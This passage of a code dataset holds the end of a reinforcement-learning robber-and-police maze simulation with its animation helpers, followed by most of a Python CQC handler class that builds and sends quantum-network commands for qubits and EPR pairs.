self.states2id[player]\n        if police == None:\n            e_s, _ = self.e_start, self.e_states2id[self.e_start]\n        else:\n            e_s, _ = police, self.e_states2id[police]\n\n        # Add the starting position in the grid to the path\n        path.append(s)\n        path_enemy.append(e_s)\n\n        while t < tlimit-1 and not self.caught:\n\n            i = self.jointStates2id[(s, e_s)]\n            # Move to next state given the policy and the current state\n            next_s, _ = self.__move(s, policy[i])\n            path.append(next_s)\n            # Move enemy\n            next_e_s, _ = self.__e_move(e_s)\n            path_enemy.append(next_e_s)\n\n            if next_s == next_e_s:\n                self.caught = True\n                # Add again paths for the vizualization function\n                path.append(next_s)\n                path_enemy.append(next_e_s)\n\n            # Update time and state for next iteration\n            t  +=1\n            s   = next_s\n            e_s = next_e_s\n\n        return path, path_enemy\n\n    def show(self):\n        print('The states are :')\n        print(self.id2states)\n        print('The actions are:')\n        print(self.actions)\n        print('The mapping of the states:')\n        print(self.states2id)\n        # print('The rewards:')\n        # print(self.R)\n\n\ndef draw_maze(grid):\n\n    # Mapp a color to each cell in the grid\n    col_mapp = {0: WHITE, 1: BLACK,\n                2: LIGHT_GREEN, 3: LIGHT_ORANGE, -1: LIGHT_RED}\n\n    # Give a color to each cell\n    rows, cols = grid.shape\n    colored_maze = [[col_mapp[grid[j, i]]\n                     for i in range(cols)] for j in range(rows)]\n\n    # Create figure of the size of the grid\n    fig = plt.figure(1, figsize=(cols, rows))\n\n    # Remove the axis ticks and add title title\n    ax = plt.gca()\n    ax.set_title('The Maze')\n    ax.set_xticks([])\n    ax.set_yticks([])\n\n    # Create a table to color\n    grid = plt.table(cellText=None,\n                     cellColours=colored_maze,\n                     cellLoc='center',\n                     loc=(0, 0),\n                     edges='closed')\n    # Modify the hight and width of the cells in the table\n    tc = grid.properties()['child_artists']\n    for cell in tc:\n        cell.set_height(1.0/rows)\n        cell.set_width(1.0/cols)\n\n\ndef animate_solution(grid, path, path_enemy=None):\n\n    # Mapp a color to each cell in the grid\n    col_mapp = {0: WHITE, 1: BLACK,\n                2: LIGHT_GREEN, 3: LIGHT_ORANGE, -1: LIGHT_RED}\n\n    # Size of the grid\n    rows, cols = grid.shape\n\n    # Create figure of the size of the grid\n    fig = plt.figure(1, figsize=(cols, rows))\n\n    # Remove the axis ticks and add title title\n    ax = plt.gca()\n    ax.set_title('Policy simulation')\n    ax.set_xticks([])\n    ax.set_yticks([])\n\n    # Give a color to each cell\n    colored_maze = [[col_mapp[grid[j, i]]\n                     for i in range(cols)] for j in range(rows)]\n\n    # Create a table to color\n    grid = plt.table(cellText=None,\n                     cellColours=colored_maze,\n                     cellLoc='center',\n                     loc=(0, 0),\n                     edges='closed')\n\n    # Modify the hight and width of the cells in the table\n    tc = grid.properties()['child_artists']\n    for cell in tc:\n        cell.set_height(1.0/rows)\n        cell.set_width(1.0/cols)\n\n    # Update the color at each frame\n    for i in range(len(path)):\n        grid.get_celld()[(path[i])].set_facecolor(LIGHT_GREEN)\n        grid.get_celld()[(path[i])].get_text().set_text('Robber')\n        grid.get_celld()[(path_enemy[i])].set_facecolor(LIGHT_RED)\n        grid.get_celld()[(path_enemy[i])].get_text().set_text('Police')\n        if i > 0:\n            # Re-initialize previous cells\n            grid.get_celld()[(path[i-1])].set_facecolor(WHITE)\n            grid.get_celld()[(path[i-1])].get_text().set_text('')\n            grid.get_celld()[(path_enemy[i-1])].set_facecolor(WHITE)\n            grid.get_celld()[(path_enemy[i-1])].get_text().set_text('')\n\n            # if waiting but no the end of the path\n            if path[i] == path[i-1]:\n                if i != len(path)-1:\n                    grid.get_celld()[(path[i])].set_facecolor(LIGHT_PURPLE)\n                    grid.get_celld()[(path[i])].get_text().set_text(\n                        'Stealing')\n                else:\n                    grid.get_celld()[(path[i])].set_facecolor(LIGHT_GREEN)\n                    grid.get_celld()[(path[i])].get_text().set_text(\n                        'Win !')\n                    break\n\n            if path[i] == path_enemy[i]:\n                grid.get_celld()[(path[i])].set_facecolor(LIGHT_RED)\n                grid.get_celld()[(path[i])].get_text().set_text('Caught !')\n                break\n\n        display.display(fig)\n        display.clear_output(wait=True)\n        time.sleep(1)\n","repo_name":"matheusoliveirafranca/Reinforcement-Learning","sub_path":"Bank Robbing/bank.py","file_name":"bank.py","file_ext":"py","file_size_in_byte":11635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27322220101","text":"import abc\nimport math\nimport logging\nimport warnings\nfrom typing import Any, List\nfrom itertools import count\n\nfrom cqc.cqcHeader import (\n    CQC_VERSION,\n    CQC_TP_COMMAND,\n    CQC_TP_GET_TIME,\n    CQC_TP_HELLO,\n    CQC_TP_DONE,\n    CQC_TP_NEW_OK,\n    CQC_TP_RECV,\n    CQC_TP_EPR_OK,\n    CQC_TP_MEASOUT,\n    CQC_TP_EXPIRE,\n    CQC_TP_INF_TIME,\n    CQC_ERR_GENERAL,\n    CQC_ERR_NOQUBIT,\n    CQC_ERR_UNSUPP,\n    CQC_ERR_TIMEOUT,\n    CQC_ERR_UNKNOWN,\n    CQC_CMD_NEW,\n    CQC_CMD_SEND,\n    CQC_CMD_EPR,\n    CQC_CMD_CNOT,\n    CQC_CMD_CPHASE,\n    CQC_CMD_ROT_X,\n    CQC_CMD_ROT_Y,\n    CQC_CMD_ROT_Z,\n    CQC_CMD_MEASURE,\n    CQC_CMD_MEASURE_INPLACE,\n    CQC_CMD_RECV,\n    CQC_CMD_EPR_RECV,\n    CQC_CMD_ALLOCATE,\n    CQC_TP_FACTORY,\n    Header,\n    CQCHeader,\n    CQCCmdHeader,\n    CQCTypeHeader,\n    CQCAssignHeader,\n    CQCFactoryHeader,\n    CQCRotationHeader,\n    CQCXtraQubitHeader,\n    CQCCommunicationHeader,\n    CQCType,\n)\nfrom .util import (\n    CQCUnsuppError,\n    CQCGeneralError,\n    CQCNoQubitError,\n    CQCTimeoutError,\n    CQCUnknownError,\n    ProgressBar,\n)\nfrom .qubit import qubit\n\n\nclass CQCHandler(abc.ABC):\n    \"\"\"This class defines the things any CQCHandler must do.\n\n    It is to be subclassed by the various actual classes that handle CQC, such\n    as CQCConnection and CQCToFile.\n    \"\"\"\n\n    _appIDs = {}\n\n    def __init__(self, name, app_id=None, pend_messages=False, notify=True):\n\n        self.name = name\n\n        # This flag is used to check if CQCConnection is opened using a 'with' statement.\n        # Otherwise an deprecation warning is printed when instantiating qubits.\n        self._opened_with_with = False\n\n        # Set an app ID\n        self._appID = self._get_new_app_id(app_id)\n\n        # This is a sort of global notify\n        self.notify = notify\n\n        # All qubits active for this connection\n        self.active_qubits = []\n\n        # List of pended header objects waiting to be sent to the backend\n        self._pending_headers = []  # ONLY cqc.cqcHeader.Header objects should be in this list\n\n        # Bool that indicates whether we are in a factory and thus should pend commands\n        self.pend_messages = pend_messages\n\n        # Keep track of pending messages\n        self._pending_headers = []\n\n    @property\n    def pend_messages(self):\n        return self._pend_messages\n\n    @pend_messages.setter\n    def pend_messages(self, value):\n        self.set_pending(value)\n\n    def __str__(self):\n        return \"CQC handler for node '{}'\".format(self.name)\n\n    def _get_new_app_id(self, app_id):\n        \"\"\"Finds a new app ID if not specific\"\"\"\n        name = self.name\n        if name not in self._appIDs:\n            self._appIDs[name] = []\n\n        # Which appID\n        if app_id is None:\n            for app_id in count(0):\n                if app_id not in self._appIDs[name]:\n                    self._appIDs[name].append(app_id)\n                    return app_id\n        else:\n            if app_id in self._appIDs[name]:\n                raise ValueError(\"appID={} is already in use\".format(app_id))\n            self._appIDs[name].append(app_id)\n            return app_id\n\n    def __enter__(self):\n        # This flag is used to check if CQCHandler is opened using a \n        # 'with' statement.\n        # Otherwise an deprecation warning is printed when instantiating\n        # qubits.\n        self._opened_with_with = True\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        # All qubits should now be released\n        self.close(release_qubits=True)\n\n    @abc.abstractmethod\n    def new_qubitID(self, print_cqc=False):\n        \"\"\"Provide new qubit ID.\n        \n        This method must provide the new qubit ID. This qubit ID could \n        be given by the server you are communicating with, or it might\n        simply be a number that increases by one every time the method\n        is used. This will depend on the type of CQCHandler being used.\n        \"\"\"\n        pass\n\n    @abc.abstractmethod\n    def _handle_create_qubits(self, num_qubits, notify):\n        \"\"\"Handles responses after allocating qubits and returns a list of qubits\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def return_meas_outcome(self):\n        \"\"\"Return measurement outcome.\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def commit(self, msg):\n        \"\"\"Commit a message. \n\n        This can mean sending it to the backend or just writing to file.\n        \"\"\"\n        pass\n\n    @abc.abstractmethod\n    def _handle_factory_response(self, num_iter, response_amount, should_notify=False):\n        \"\"\"Handles the responses from a factory command and returns a list of results\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def get_remote_from_directory_or_address(self, name, **kwargs):\n        \"\"\"Returns the remote address of a given node\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def _handle_epr_response(self, notify):\n        \"\"\"Waits for and handles the response message and returns a qubit object.\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def readMessage(self):\n        \"\"\"Receive the whole message from cqc server.\n\n        Returns (CQCHeader,None,None), (CQCHeader,CQCNotifyHeader,None) \n        or (CQCHeader,CQCNotifyHeader,EntInfoHeader) depending on the \n        type of message.\n        \"\"\"\n        pass\n\n    def get_appID(self):\n        \"\"\"Returns the application ID.\"\"\"\n\n        return self._appID\n\n    def commit_command(self, qID, command, notify=1, block=1, action=0, \n                       xtra_qID=0, step=0, remote_appID=0, remote_node=0, \n                       remote_port=0, ref_id=0):\n        \"\"\"Construct and commit command.\"\"\"\n\n        headers = self.construct_command_headers(\n            qID, command, notify=notify, block=block, action=action, \n            xtra_qID=xtra_qID, step=step, remote_appID=remote_appID, \n            remote_node=remote_node, remote_port=remote_port, ref_id=ref_id)\n        self.commit_headers(headers)\n\n    def commit_headers(self, headers):\n        \"\"\"Packs a list of headers and commits the message\"\"\"\n        msg = b''\n        for header in headers:\n            msg += header.pack()\n        self.commit(msg)\n\n    def put_command(self, qID, command, read_notify=True, **kwargs):\n        \"\"\"Puts a new command to be executed.\n\n        If self.pend_messages is set to True, the messages are kept until flushing,\n        otherwise they are commited directly.\n\n        Parameters\n        ----------\n        qID: int\n            Id of the qubit to apply the command on\n        command: int\n            What command to be executed\n        read_notify : bool\n            Whether to listen to a notify message in this function or if this is handled\n            elsewhere (e.g. createEPR)\n        \"\"\"\n        headers = self.construct_command_headers(qID=qID, command=command, **kwargs)\n        str_of_headers = \"\".join([\"\\t{}\\n\".format(header) for header in headers])\n        if self.pend_messages:\n            headers = self._update_headers_before_pending(headers)\n            logging.debug(\"App {} pends a command with headers:\\n{}\".format(\n                self.name,\n                str_of_headers,\n            ))\n            self.pend_headers(headers)\n        else:\n            logging.debug(\"App {} sends a command with headers:\\n{}\".format(\n                self.name,\n                str_of_headers,\n            ))\n            self.commit_headers(headers)\n            if read_notify:\n                notify = kwargs.get(\"notify\", True)\n                if notify:\n                    message = self.readMessage()\n                    self._assert_done_message(message)\n                    self.print_CQC_msg(message)\n\n    def _update_headers_before_pending(self, headers):\n        # Don't include the CQC Headers since this is a sequence\n        return headers[1:]\n\n    def _assert_done_message(self, message):\n        if message[0].tp != CQC_TP_DONE:\n            raise CQCUnsuppError(\n                \"Unexpected message sent back from the server. Message: {}\".format(message[0])\n            )\n\n    def pend_headers(self, headers):\n        \"\"\"Pends the given headers\"\"\"\n        for header in headers:\n            self.pend_header(header)\n    \n    def pend_header(self, header: Header) -> None:\n        self._pending_headers.append(header)\n\n    def construct_command(self, qID, command, **kwargs):\n        \"\"\"Construct a commmand and packs it in it's binary form.\n\n        Extra arguments are only used if the command if of a type that \n        needs them.\n\n        - **Arguments**\n\n            :qID:               qubit ID\n            :command:           Command to be executed, eg CQC_CMD_H\n            :nofify:            Do we wish to be notified when done.\n            :block:             Do we want the qubit to be blocked\n        \"\"\"\n        headers = self.construct_command_headers(qID, command, **kwargs)\n        msg = b''\n        for header in headers:\n            msg += header.pack()\n        return msg\n\n    def construct_command_headers(self, qID, command, **kwargs):\n        \"\"\"Construct a commmand consisting of a list of header objects.\n\n        Extra arguments are only used if the command if of a type that \n        needs them.\n\n        - **Arguments**\n\n            :qID:               qubit ID\n            :command:           Command to be executed, eg CQC_CMD_H\n            :nofify:            Do we wish to be notified when done.\n            :block:             Do we want the qubit to be blocked\n        \"\"\"\n        # Construct extra header if needed.\n        xtra_hdr = None\n        if command == CQC_CMD_SEND or command == CQC_CMD_EPR:\n            xtra_hdr = CQCCommunicationHeader()\n            remote_appID = kwargs.get(\"remote_appID\", 0)\n            remote_node = kwargs.get(\"remote_node\", 0)\n            remote_port = kwargs.get(\"remote_port\", 0)\n            xtra_hdr.setVals(remote_appID, remote_node, remote_port)\n        elif command == CQC_CMD_CNOT or command == CQC_CMD_CPHASE:\n            xtra_hdr = CQCXtraQubitHeader()\n            xtra_qID = kwargs.get(\"xtra_qID\", 0)\n            xtra_hdr.setVals(xtra_qID)\n        elif (command == CQC_CMD_ROT_X or command == CQC_CMD_ROT_Y \n              or command == CQC_CMD_ROT_Z):\n            xtra_hdr = CQCRotationHeader()\n            step = kwargs.get(\"step\", 0)\n            xtra_hdr.setVals(step)\n        elif command == CQC_CMD_MEASURE or command == CQC_CMD_MEASURE_INPLACE:\n            xtra_hdr = CQCAssignHeader()\n            ref_id = kwargs.get(\"ref_id\", 0)\n            xtra_hdr.setVals(ref_id)\n\n        # If xtra_hdr is None, we don't need an extra message.\n        if xtra_hdr is None:\n            header_length = CQCCmdHeader.HDR_LENGTH\n        else:\n            header_length = CQCCmdHeader.HDR_LENGTH + xtra_hdr.HDR_LENGTH\n\n        # Construct Header\n        hdr = CQCHeader()\n        hdr.setVals(CQC_VERSION, CQC_TP_COMMAND, self._appID, header_length)\n\n        # Construct Command\n        cmd_hdr = CQCCmdHeader()\n        notify = int(kwargs.get(\"notify\", True))\n        block = int(kwargs.get(\"block\", True))\n        action = int(kwargs.get(\"action\", False))\n        cmd_hdr.setVals(qID, command, notify, block, action)\n\n        headers = [hdr, cmd_hdr]\n        if xtra_hdr is not None:\n            headers.append(xtra_hdr)\n\n        return headers\n\n    def construct_simple(self, tp):\n        \"\"\"Construct simple message.\n        \n        For example a HELLO message if tp=CQC_TP_HELLO.\n        \"\"\"\n        hdr = CQCHeader()\n        hdr.setVals(CQC_VERSION, tp, self._appID, 0)\n        msg = hdr.pack()\n        return msg\n\n    def sendSimple(self, tp):\n        \"\"\"Construct and commit simple message.\"\"\"\n        msg = self.construct_simple(tp)\n        self.commit(msg)\n\n    def close(self, release_qubits=True):\n        \"\"\"Handle exiting of context.\"\"\"\n\n        if release_qubits:\n            for q in list(self.active_qubits):\n                q.release()\n\n        # Flush all remaining commands and the releases\n        self.flush()\n\n        self._pop_app_id()\n\n    def _pop_app_id(self):\n        \"\"\"\n        Removes the used appID from the list.\n        \"\"\"\n        try:\n            self._appIDs[self.name].remove(self._appID)\n        except ValueError:\n            pass  # Already removed\n\n    def create_qubits(self, num_qubits, block=True, notify=True):\n        \"\"\"Requests the backend to reserve some qubits\n\n        :param num_qubits: The amount of qubits to reserve\n        :return: A list of qubits\n        :param notify:     Do we wish to be notified when done.\n        :param block:         Do we want the qubit to be blocked\n        \"\"\"\n        notify = self.notify and notify\n\n        # TODO how to handle pending headers?\n        headers = self.construct_command_headers(\n            qID=num_qubits,\n            command=CQC_CMD_ALLOCATE,\n            notify=notify,\n            block=block,\n        )\n        self.commit_headers(headers)\n\n        qubits = self._handle_create_qubits(num_qubits=num_qubits, notify=notify)\n\n        return qubits\n\n    def sendGetTime(self, qID, notify=1, block=1, action=0):\n        \"\"\"Sends get-time message\n\n        - **Arguments**\n\n            :qID:         qubit ID\n            :command:     Command to be executed, eg CQC_CMD_H\n            :notify:     Do we wish to be notified when done.\n            :block:         Do we want the qubit to be blocked\n            :action:     Are there more commands to be executed\n        \"\"\"\n        # Send Header\n        hdr = CQCHeader()\n        hdr.setVals(CQC_VERSION, CQC_TP_GET_TIME, self._appID, CQCCmdHeader.HDR_LENGTH)\n        msg = hdr.pack()\n        self.commit(msg)\n\n        # Send Command\n        cmd_hdr = CQCCmdHeader()\n        cmd_hdr.setVals(qID, 0, notify, block, action)\n        cmd_msg = cmd_hdr.pack()\n        self.commit(cmd_msg)\n\n    def allocate_qubits(self, nb_of_qubits: int) -> List['qubit']:\n        \"\"\"\n        Creates (i.e. allocates) multiple qubits, and returns a list with qubit objects.\n\n        :nb_of_qubits: The amount of qubits to be created.\n        \"\"\"\n        warnings.warn(\"allocate_qubits is deprecated, use create_qubits instead\",\n                      DeprecationWarning)\n\n        return self.create_qubits(nb_of_qubits)\n\n    def createEPR(self, name, remote_appID=0, notify=True, block=True, **kwargs):\n        \"\"\"Creates epr with other host in the network.\n\n        - **Arguments**\n\n            :name:         Name of the node as specified in the cqc network config file.\n            :remote_appID:     The app ID of the application running on the receiving node.\n            :nofify:     Do we wish to be notified when done.\n            :block:         Do we want the qubit to be blocked\n        \"\"\"\n        remote_ip, remote_port = self.get_remote_from_directory_or_address(name, **kwargs)\n\n        # print info\n        logging.debug(\n            \"App {} puts message: 'Create EPR-pair with {} and appID {}'\".format(self.name, name, remote_appID)\n        )\n        notify = self.notify and notify\n        self.put_command(\n            0,\n            CQC_CMD_EPR,\n            read_notify=False,\n            notify=notify,\n            block=block,\n            remote_appID=remote_appID,\n            remote_node=remote_ip,\n            remote_port=remote_port,\n        )\n        if not self.pend_messages:\n            q = self._handle_epr_response(notify=notify)\n            return q\n\n    def recvEPR(self, notify=True, block=True):\n        \"\"\"Receives a qubit from an EPR-pair generated with another node.\n\n        - **Arguments**\n\n            :nofify:     Do we wish to be notified when done.\n            :block:         Do we want the qubit to be blocked\n        \"\"\"\n        # print info\n        logging.debug(\"App {} puts message: 'Receive half of EPR'\".format(self.name))\n        notify = self.notify and notify\n        self.put_command(\n            qID=0,\n            command=CQC_CMD_EPR_RECV,\n            read_notify=False,\n            notify=notify,\n            block=block,\n        )\n\n        if not self.pend_messages:\n            q = self._handle_epr_response(notify=notify)\n            return q\n\n    def sendQubit(self, q, name, remote_appID=0, notify=True, block=True, **kwargs):\n        \"\"\"Sends qubit to another node in the cqc network. \n        \n        If this node is not in the network an error is raised.\n\n        - **Arguments**\n\n            :q:         The qubit to send.\n            :Name:         Name of the node as specified in the cqc network config file.\n            :remote_appID:     The app ID of the application running on the receiving node.\n            :nofify:     Do we wish to be notified when done.\n            :block:         Do we want the qubit to be blocked\n        \"\"\"\n        remote_ip, remote_port = self.get_remote_from_directory_or_address(name, **kwargs)\n\n        # print info\n        logging.debug(\n            \"App {} puts message: 'Send qubit with ID {} to {} and appID {}'\".format(\n                self.name, q._qID, name, remote_appID\n            )\n        )\n        notify = self.notify and notify\n        self.put_command(\n            qID=q._qID,\n            command=CQC_CMD_SEND,\n            notify=notify, \n            block=block,\n            remote_appID=remote_appID, \n            remote_node=remote_ip,\n            remote_port=remote_port,\n        )\n        # Deactivate qubit\n        # TODO should this be done if pending messages?\n        q._set_active(False)\n\n    def recvQubit(self, notify=True, block=True):\n        \"\"\"Receives a qubit.\n\n        - **Arguments**\n\n            :q:         The qubit to send.\n            :Name:         Name of the node as specified in the cqc network config file.\n            :remote_appID:     The app ID of the application running on the receiving node.\n            :nofify:     Do we wish to be notified when done.\n            :block:         Do we want the qubit to be blocked\n        \"\"\"\n\n        # print info\n        logging.debug(\"App {} puts message: 'Receive qubit'\".format(self.name))\n        notify = self.notify and notify\n        self.put_command(0, CQC_CMD_RECV, read_notify=False, notify=notify, block=block)\n        if not self.pend_messages:\n            # Get qubit id\n            q_id = self.new_qubitID(print_cqc=True)\n\n            # initialize the qubit\n            q = qubit(self, createNew=False)\n            q._qID = q_id\n\n            # Activate and return qubit\n            q._set_active(True)\n\n            # Read the notify message\n            if notify:\n                message = self.readMessage()\n                self._assert_done_message(message)\n                self.print_CQC_msg(message)\n\n            return q\n\n    def flush(self, do_sequence=False):\n        \"\"\"Flush all pending messages to the backend.\n        \n        :param do_sequence: boolean to indicate if you want to send the pending messages as a sequence\n        :return: A list of things that are sent back from the server. Can be qubits, or outcomes\n        \"\"\"\n        return self.flush_factory(1, do_sequence)\n\n    def flush_factory(self, num_iter, do_sequence=False, block_factory=False):\n        \"\"\"\n        Flushes the current pending sequence in a factory. It is performed multiple times\n        :param num_iter: The amount of times the current pending sequence is performed\n        :return: A list of outcomes/qubits that are produced by the commands\n        \"\"\"\n        if len(self._pending_headers) == 0:\n            return []\n\n        # Initialize should_notify to False\n        should_notify = False\n\n        # Store how many of the headers we send will get a response message from the backend\n        response_amount = 0\n\n        # Loop over the pending_headers to determine the total length and set should_notify\n        for header in self._pending_headers:\n\n            # Check if the current header is a Command header. It can also be a sub header\n            if isinstance(header, CQCCmdHeader):\n                # set should_notify to True if at least one of all command headers has notify to True\n                should_notify = should_notify or header.notify\n                \n                # Remember this header if we expect a return messge\n                if self.shouldReturn(header.instr):\n                    response_amount += 1\n\n        # Determine the CQC Header type\n        if num_iter == 1:\n            cqc_type = CQC_TP_COMMAND\n        else:\n            # Build and insert the Factory header\n            cqc_type = CQC_TP_FACTORY\n            factory_header = CQCFactoryHeader()\n            factory_header.setVals(num_iter, should_notify, block_factory)\n            # Insert the factory header at the front\n            self._pending_headers.insert(0, factory_header)\n            \n        # Insert the cqc header\n        self.insert_cqc_header(cqc_type)\n        \n        # Send all pending headers\n        self.send_pending_headers()\n\n        # Reset _pending_headers to an empty list after all headers are sent\n        self.reset_pending_headers()\n\n        # Read out any returned messages from the backend\n        res = self._handle_factory_response(num_iter, response_amount, should_notify=should_notify)\n        \n        # Return information that the backend returned\n        return res\n\n    def send_pending_headers(self) -> List[Any]:\n        \"\"\"\n        Sends all pending headers.\n        After sending, self._pending_headers is emptied.\n        \"\"\"\n\n        # Send all pending headers\n        to_log = \"App {} sends a message with the following headers:\\n\".format(self.name)\n        msg = b''\n        for header in self._pending_headers:\n            to_log += \"\\t{}\\n\".format(header)\n            msg += header.pack()\n        logging.debug(to_log[:-1])\n        self.commit(msg)\n\n    def reset_pending_headers(self):\n        \"\"\"Sets the list of pending headers to empty \"\"\"\n        self._pending_headers = []\n\n    def set_pending(self, pend_messages):\n        \"\"\"Set the pend_messages flag.\n\n        If true, flush() has to be called to send all self._pending_headers in sequence to the backend\n        If false, all commands are directly send to the back_end\n        :param pend_messages: Boolean to indicate if messages should pend or not\n        \"\"\"\n        # Check if the list is not empty, give a warning if it isn't\n        if self._pending_headers:\n            logging.warning(\"List of pending headers is not empty, flushing them\")\n            self.flush()\n        self._pend_messages = pend_messages\n\n    def insert_cqc_header(self, cqc_type: CQCType, version=CQC_VERSION) -> None:\n        \"\"\"\n        Inserts a CQC Header at index 0 of self._pending_headers.\n        Invoke this method *after* all other headers are pended, so that the correct message length is calculated.\n        \"\"\"\n\n        # Count the total message length\n        message_length = 0\n        for header in self._pending_headers:\n            message_length += header.HDR_LENGTH\n\n        # Build the CQC Header\n        cqc_header = CQCHeader()\n        cqc_header.setVals(CQC_VERSION, cqc_type, self._appID, message_length)\n\n        # Insert CQC Header at the front\n        self._pending_headers.insert(0, cqc_header)\n\n    def _pend_type_header(self, cqc_type: CQCType, length: int) -> None:\n        \"\"\"\n        Creates a CQCTypeHeader and pends it.\n        \"\"\"\n        header = CQCTypeHeader()\n        header.setVals(cqc_type, length)\n        self.pend_header(header)\n\n    def tomography(self, preparation, iterations, progress=True):\n        \"\"\"\n        Does a tomography on the output from the preparation specified.\n        The frequencies from X, Y and Z measurements are returned as a tuple (f_X,f_Y,f_Z).\n\n        - **Arguments**\n\n            :preparation:     A function that takes a CQCConnection as input and prepares a qubit and returns this\n            :iterations:     Number of measurements in each basis.\n            :progress_bar:     Displays a progress bar\n        \"\"\"\n        accum_outcomes = [0, 0, 0]\n        if progress:\n            bar = ProgressBar(3 * iterations)\n\n            # Measure in X\n        for _ in range(iterations):\n            # Progress bar\n            if progress:\n                bar.increase()\n\n            # prepare and measure\n            q = preparation(self)\n            q.H()\n            m = q.measure()\n            accum_outcomes[0] += m\n\n            # Measure in Y\n        for _ in range(iterations):\n            # Progress bar\n            if progress:\n                bar.increase()\n\n            # prepare and measure\n            q = preparation(self)\n            q.K()\n            m = q.measure()\n            accum_outcomes[1] += m\n\n            # Measure in Z\n        for _ in range(iterations):\n            # Progress bar\n            if progress:\n                bar.increase()\n\n            # prepare and measure\n            q = preparation(self)\n            m = q.measure()\n            accum_outcomes[2] += m\n\n        if progress:\n            bar.close()\n            del bar\n\n        freqs = map(lambda x: x / iterations, accum_outcomes)\n        return list(freqs)\n\n    def test_preparation(self, preparation, exp_values, conf=2, iterations=100, progress=True):\n        \"\"\"Test the preparation of a qubit.\n        Returns True if the expected values are inside the confidence interval produced from the data received from\n        the tomography function\n\n        - **Arguments**\n\n            :preparation:     A function that takes a CQCConnection as input and prepares a qubit and returns this\n            :exp_values:     The expected values for measurements in the X, Y and Z basis.\n            :conf:         Determines the confidence region (+/- conf/sqrt(iterations) )\n            :iterations:     Number of measurements in each basis.\n            :progress_bar:     Displays a progress bar\n        \"\"\"\n        epsilon = conf / math.sqrt(iterations)\n\n        freqs = self.tomography(preparation, iterations, progress=progress)\n        for i in range(3):\n            if abs(freqs[i] - exp_values[i]) > epsilon:\n                print(freqs, exp_values, epsilon)\n                return False\n        return True\n\n    def print_CQC_msg(self, message):\n        \"\"\"\n        Prints messsage returned by the readMessage method of CQCConnection.\n        \"\"\"\n        # First check if there was an error\n        self.check_error(message[0])\n\n        hdr = message[0]\n        otherHdr = message[1]\n        entInfoHdr = message[2]\n\n        if hdr.tp == CQC_TP_HELLO:\n            logging.debug(\"CQC tells App {}: 'HELLO'\".format(self.name))\n        elif hdr.tp == CQC_TP_EXPIRE:\n            logging.debug(\"CQC tells App {}: 'Qubit with ID {} has expired'\".format(self.name, otherHdr.qubit_id))\n        elif hdr.tp == CQC_TP_DONE:\n            logging.debug(\"CQC tells App {}: 'Done with command'\".format(self.name))\n        elif hdr.tp == CQC_TP_RECV:\n            logging.debug(\"CQC tells App {}: 'Received qubit with ID {}'\".format(self.name, otherHdr.qubit_id))\n        elif hdr.tp == CQC_TP_EPR_OK:\n\n            # Lookup host name\n            remote_node = entInfoHdr.node_B\n            remote_port = entInfoHdr.port_B\n            remote_name = None\n            try:\n                for node in self._cqcNet.hostDict.values():\n                    if (node.ip == remote_node) and (node.port == remote_port):\n                        remote_name = node.name\n                        break\n                if remote_name is None:\n                    raise RuntimeError(\"Remote node ({},{}) is not in config-file.\".format(remote_node, remote_port))\n            except AttributeError:\n                remote_name = \"({}, {})\".format(remote_node, remote_port)\n\n            logging.debug(\n                \"CQC tells App {}: 'EPR created with node {}, using qubit with ID {}'\".format(\n                    self.name, remote_name, otherHdr.qubit_id\n                )\n            )\n        elif hdr.tp == CQC_TP_MEASOUT:\n            logging.debug(\"CQC tells App {}: 'Measurement outcome is {}'\".format(self.name, otherHdr.outcome))\n        elif hdr.tp == CQC_TP_INF_TIME:\n            logging.debug(\"CQC tells App {}: 'Timestamp is {}'\".format(self.name, otherHdr.datetime))\n\n    def parse_CQC_msg(self, message, q=None, is_factory=False):\n        \"\"\"\n        parses the cqc message and returns the relevant value of that measure\n        (qubit, measurement outcome)\n\n        :param message: str\n            the cqc message to be parsed\n        :param q: :obj:`cqc.pythonLib.qubit`\n            the qubit object we should save the qubit to\n        :param is_factory: bool\n            whether the returned message came from a factory. If so, do not change the qubit, but create a new one\n        :return: the result of the message (either a qubit, or a measurement outcome. Otherwise None\n        \"\"\"\n        hdr = message[0]\n        otherHdr = message[1]\n        if len(message) < 3:\n            entInfoHdr = None\n        else:\n            entInfoHdr = message[2]\n\n        if hdr.tp in {CQC_TP_RECV, CQC_TP_NEW_OK, CQC_TP_EPR_OK}:\n            if is_factory:\n                q._set_active(False)  # Set qubit to inactive so it can't be used anymore\n                q = qubit(self, createNew=False)\n            if q is None:\n                q = qubit(self, createNew=False)\n            q._qID = otherHdr.qubit_id\n            q._set_entanglement_info(entInfoHdr)\n            q._set_active(True)\n            return q\n        if hdr.tp == CQC_TP_MEASOUT:\n            return otherHdr.outcome\n        if hdr.tp == CQC_TP_INF_TIME:\n            return otherHdr.datetime\n\n    def check_error(self, hdr):\n        \"\"\"Checks if there is an error returned.\"\"\"\n\n        self._errorHandler(hdr.tp)\n\n    def _errorHandler(self, cqc_err):\n        \"\"\"Raises an error if there is an error-message.\"\"\"\n\n        if cqc_err == CQC_ERR_GENERAL:\n            raise CQCGeneralError(\"General error\")\n        if cqc_err == CQC_ERR_NOQUBIT:\n            raise CQCNoQubitError(\"No more qubits available\")\n        if cqc_err == CQC_ERR_UNSUPP:\n            raise CQCUnsuppError(\"Sequence not supported\")\n        if cqc_err == CQC_ERR_TIMEOUT:\n            raise CQCTimeoutError(\"Timeout\")\n        if cqc_err == CQC_ERR_UNKNOWN:\n            raise CQCUnknownError(\"Unknown qubit ID\")\n\n    @staticmethod\n    def shouldReturn(command):\n        return command in {\n            CQC_CMD_NEW,\n            CQC_CMD_MEASURE,\n            CQC_CMD_MEASURE_INPLACE,\n            CQC_CMD_RECV,\n            CQC_CMD_EPR_RECV,\n            CQC_CMD_EPR,\n        }\n\n    @staticmethod\n    def hasXtraHeader(command):\n        return command in {\n            CQC_CMD_CNOT,\n            CQC_CMD_SEND,\n            CQC_CMD_EPR,\n            CQC_CMD_ROT_X,\n            CQC_CMD_ROT_Y,\n            CQC_CMD_ROT_Z,\n            CQC_CMD_CPHASE,\n        